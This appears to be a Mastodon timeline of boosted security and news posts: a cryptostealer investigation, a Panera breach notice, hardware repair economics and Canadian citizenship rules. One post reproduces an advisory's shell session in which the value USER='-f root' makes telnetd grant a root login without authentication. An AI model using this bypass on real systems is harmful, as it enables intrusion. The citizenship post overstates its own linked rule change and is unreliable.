Mastodawn

Kamots Mar 13

Deus Ex MacGuffin

Mar 13

i am so very confused

Kamots Feb 24

Dio9sys Feb 24

It's been extremely hard to keep this one under wraps.

I just published a new blog post, where one weird string that looks like a cookie value turned out to be a whole cryptostealer and database wiping operation.

https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/

I spent some late nights on this one, and am a little bit ridiculously proud of the work I did.

What’s That String? That Time a Weird String Revealed a Whole Operation – GreyNoise Labs

One weird payload turned out to be a loose thread on an active hacking operation.

GreyNoise Labs

Kamots Jan 31

Have I Been Pwned Jan 31

New breach: Panera Bread was extorted earlier this month before having 5.1M unique email addresses dumped publicly this week. Data also included name, phone and physical address. 77% were already in @haveibeenpwned. Read more: https://haveibeenpwned.com/Breach/PaneraBread

Have I Been Pwned: Panera Bread Data Breach

In January 2026, Panera Bread suffered a data breach that exposed 14M records. After an attempted extortion failed, the attackers published the data publicly, which included 5.1M unique email addresses along with associated account information such as names, phone numbers and physical addresses. Panera Bread subsequently confirmed that "the data involved is contact information" and that authorities were notified.

Have I Been Pwned

Kamots Jan 21

Adrian Sanabria Jan 20

The enshittification of computer repair is happening.

AI has amazingly managed to make repairable computers practically worthless.

The increase in memory and storage pricing is destroying the second-hand market for computing hardware and this makes me sad. I watched a video from someone that runs a repair shop, and this is what's happening:

The memory/storage alone is worth more than the rest of the computer, so people are stripping them out to sell separately.

The second hand market is now flooded with computers that have no memory or storage. Buying new memory or storage to put in these used computers is now more expensive than buying a new computer.

So we now suddenly have a giant e-waste problem PLUS a giant problem for repair shops that want to stay in business.

In the video, he was basically saying that they have to pivot to the only computers that folks aren't stripping RAM and storage out of - computers that have those things soldered on. The irony here is that repair shops now have to ignore the most repairable computers and focus on the least repairable computers instead.

https://www.youtube.com/watch?v=T6eiFyJMWgM

cc @pluralistic @iFixit

I Can’t Sell You Laptops Anymore

YouTube

Kamots Jan 21

raptor

Jan 20

root@kaka:~ sudo apt-get install inetutils-telnetd telnet
root@kaka:~ sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
root@kaka:~ sudo /etc/init.d/inetutils-inetd start
root@kaka:~ USER='-f root' telnet -a localhost
...
root@kaka:~#

https://seclists.org/oss-sec/2026/q1/89

oss-sec: GNU InetUtils Security Advisory: remote authentication by-pass in telnetd

Kamots Jan 20

yomna Jan 20

Big news: Canada changed their citizenship rules and now if you've ever had a direct ancestor who was a citizen, you are now automatically a citizen too! https://www.canada.ca/en/immigration-refugees-citizenship/services/canadian-citizenship/act-changes/rules-2025.html

I've been sharing this around, and I know a few people who've discovered they're now Canadian citizens!

Change to citizenship rules in 2025 - Canada.ca

Bill C-3 changes the first-generation limit for Canadian citizenship by descent. Find out who is affected and how the law impacts citizenship eligibility.

Kamots Jan 20